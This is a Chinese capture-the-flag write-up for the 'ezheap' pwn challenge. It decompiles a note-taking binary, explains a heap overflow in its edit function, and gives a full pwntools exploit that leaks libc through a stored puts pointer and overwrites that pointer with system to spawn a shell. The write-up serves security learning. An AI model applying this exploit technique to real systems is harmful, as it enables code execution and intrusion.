题面
压缩包:
1
2
3
4
5
6
7
|
Archive: ezheap.zip
Length Date Time Name
--------- ---------- ----- ----
1868984 2022-10-12 22:33 libc-2.23.so
17456 2022-10-24 00:30 ezheap
--------- -------
1886440 2 files
|
带 libc
分析
首先用 glibc-all-in-one 重新 patchelf。
checksec 看保护全开。
1
2
3
4
5
6
7
8
9
10
|
❯ pwn checksec ./ezheap
[*] '/data/project/ctf-repo/pwn/nssctf/HNCTF_2022_WEEK4-ezheap/ezheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
ida pro 静态分析:
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
init_env(argc, argv, envp);
puts("Easy Note.");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = getnum();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
puts("Invalid!");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}
|
简易记事本。
getnum()
1
2
3
4
5
6
7
8
9
10
|
int getnum()
{
char s[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
read(0, s, 0x17u);
return atoi(s);
}
|
add()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
int add()
{
__int64 v0; // rbx
__int64 v1; // rax
int v3; // [rsp+0h] [rbp-20h]
int v4; // [rsp+4h] [rbp-1Ch]
puts("Input your idx:");
v3 = getnum();
puts("Size:");
v4 = getnum();
if ( (unsigned int)v4 > 0x100 )
{
LODWORD(v1) = puts("Invalid!");
}
else
{
heaplist[v3] = malloc(0x20u);
if ( !heaplist[v3] )
{
puts("Malloc Error!");
exit(1);
}
v0 = heaplist[v3];
*(_QWORD *)(v0 + 16) = malloc(v4);
*(_QWORD *)(heaplist[v3] + 32LL) = &puts;
if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
sizelist[v3] = v4;
puts("Name: ");
if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10u) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
{
puts("Error!");
exit(1);
}
puts("Done!");
v1 = heaplist[v3];
*(_DWORD *)(v1 + 24) = 1;
}
return v1;
}
|
heaplist 为在 .bss 段的指针数组,存储每块 notes 的首 chunk 地址。
sizelist 也在 .bss 段,用来存储 contents chunk 大小。
读取索引,这里对索引 v3 没有限制。但是在之后查询修改会限制 v3 在 0~0x10 之间。
读取内容大小用于之后 malloc。
这里通过 add 创建一个 name 和 content 都为 A 的 note,其的堆排布如下:

可以看出一次 add 会分配两个 chunk。第一个 chunk:
1
2
3
4
5
6
7
|
heaplist[v3] = malloc(0x20u);
if ( !heaplist[v3] )
{
puts("Malloc Error!");
exit(1);
}
v0 = heaplist[v3];
|
第一个 chunk 请求 0x20 字节,实际分配 0x28 字节。
前 0x10 字节为姓名块:
1
2
3
4
5
6
|
puts("Name: ");
if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10u) )
{
puts("Something error!");
exit(1);
}
|
可以看出确实是 0x10 字节。
接下来 0x10 ~ 0x18 这 8 字节放内容 chunk 的地址,0x18 ~ 0x20 为 64 位 int 的 1 填充。
最后 8 字节:0x21 ~ 0x28 为 puts 的地址。
如下:
1
2
3
4
5
6
7
8
9
10
|
*(_QWORD *)(v0 + 16) = malloc(v4);
*(_QWORD *)(heaplist[v3] + 32LL) = &puts;
if ( !*(_QWORD *)(heaplist[v3] + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
...
v1 = heaplist[v3];
*(_DWORD *)(v1 + 24) = 1;
|
第二个 chunk 在上面第一行的时候申请,按 v4 也就是上面的 size 进行申请。
1
2
3
4
5
|
if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) )
{
puts("Error!");
exit(1);
}
|
这里放入 puts 本身就是一个很大的利用点。
delete()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
_QWORD *delete()
{
_QWORD *result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 <= 0x10 && *(_DWORD *)(heaplist[v1] + 24LL) )
{
free(*(void **)(heaplist[v1] + 16LL));
free((void *)heaplist[v1]);
sizelist[v1] = 0;
*(_DWORD *)(heaplist[v1] + 24LL) = 0;
*(_QWORD *)(heaplist[v1] + 16LL) = 0;
result = heaplist;
heaplist[v1] = 0;
}
else
{
puts("Error idx!");
return 0;
}
return result;
}
|
主要是 free 掉索引下的两个 chunk 然后将 heaplist, sizelist 对应项置零防止 UAF。
show()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
__int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( v1 < 0x10 && heaplist[v1] )
{
(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);
return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));
}
else
{
puts("Error idx!");
return 0;
}
}
|
调用两次 heaplist[v1]+32 也就是 puts 函数分别打印 name 和 content。
打印 content 用的是第一个 chunks 中存放的堆地址。
这里就有做索引边界条件为 < 0x10 还有 heaplist 对应地址非零。
如果改写 puts 为 system 就可以调 shell。
edit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
ssize_t edit()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
unsigned int nbytes; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
puts("Size:");
nbytes = getnum();
if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
return read(0, *(void **)(heaplist[v1] + 16LL), nbytes);
puts("Error idx!");
return 0;
}
|
编辑内容,甚至可以改写内容大小。
实际业务 nbytes 只要小于 0x100 就可以无限大而不需要管实际 chunks 大小,而 chunk 本身是不会超过 0x100 的,可以做堆溢出直接改写下一个 chunk 的内容。
利用
把上面 4 个子函数的行为封装成 python 脚本函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
def edit(index: int, size: int, content: bytes):
io.recvuntil(b"Choice:")
io.sendline(b"4")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
io.recvuntil(b"Size:")
io.sendline(str(size).encode())
io.send(content)
def add(index: int, size: int, name: bytes, content: bytes):
io.recvuntil(b"Choice:")
io.sendline(b"1")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
io.recvuntil(b"Size:")
io.sendline(str(size).encode())
io.recvuntil(b"Name:")
io.sendline(name)
io.recvuntil(b"Content:")
io.sendline(content)
def show(index: int):
io.recvuntil(b"Choice:")
io.sendline(b"3")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
def delete(index: int):
io.recvuntil(b"Choice:")
io.sendline(b"2")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
|
根据上面的分析,可以知道 show 读 contents 的时候是根据 heaplist[v1] + 16 这个位置确定 contents 内容的。该块可以当成一个 (char *)。
而 edit 函数又可以做堆溢出可以尝试改写这块地址,甚至只需要一个 off by one 就能行。
先分配 3 个 notes 看看堆空间情况:

做几轮动调发现最后两位都是一样的,第 2 个 note 的 puts 地址放在 0x80 这个位置,如果改写第一个 note(实际索引为 0 ) 的第一个 chunk 的 content 堆地址指向 0x80 那块,再 show(0) 就可以拿到 puts 地址。
本题已经提供了 libc ,到此就可以拿到 libc 基址。
1
2
3
4
5
6
7
|
add(0, 0x10, b"A", b"A")
add(1, 0x10, b"B", b"B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
|
这里 payload 构造为 0x18 覆盖 0 的 contents,之后 0x31 覆盖掉 1 的 chunk 结构体的 size 段,之后再拿 0x00 覆盖 name 段最后一个 0x80 覆盖堆地址的首位,这样就便宜到 puts 地址。
接下来用 recvuntil 接收再计算 libc base 和 system。
拿到 libc 基址,可以再通过 edit(0) 改掉索引为 1 的 note 中的 puts 地址和 name 内容。构造出 system("/bin/sh") 再通过 show 直接拿到 shell。
1
2
3
|
payload = p64(0) * 3 + p64(0x31) +b"/bin/sh\x00" +p64(0) * 2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)
|
这里和上面大差不差,只不过 name 段变成了 /bin/sh ,而后将堆地址覆盖,后面那个 p64 不用管,为了确保完整还是用 add 方式的 1 来覆盖最后改写 puts 地址为 system。
之后调用 show(1) 就会直接跑 system 函数进入 shell。

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./ezheap")
#io = remote('node5.anna.nssctf.cn', 23338)
#context.gdb_binary = "/bin/pwndbg"
libc = ELF("./libc.so.6")
def edit(index: int, size: int, content: bytes):
io.recvuntil(b"Choice:")
io.sendline(b"4")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
io.recvuntil(b"Size:")
io.sendline(str(size).encode())
io.send(content)
def add(index: int, size: int, name: bytes, content: bytes):
io.recvuntil(b"Choice:")
io.sendline(b"1")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
io.recvuntil(b"Size:")
io.sendline(str(size).encode())
io.recvuntil(b"Name:")
io.sendline(name)
io.recvuntil(b"Content:")
io.sendline(content)
def show(index: int):
io.recvuntil(b"Choice:")
io.sendline(b"3")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
def delete(index: int):
io.recvuntil(b"Choice:")
io.sendline(b"2")
io.recvuntil(b"idx:")
io.sendline(str(index).encode())
add(0, 0x10, b"A", b"A")
add(1, 0x10, b"B", b"B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)
puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts address = ", hex(puts_addr))
libcBase = puts_addr - libc.sym["puts"]
print("libc base address = ", hex(libcBase))
system = libcBase + libc.sym["system"]
print("system address = ", hex(system))
payload = p64(0) * 3 + p64(0x31) +b"/bin/sh\x00" +p64(0) * 2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)
io.interactive()
|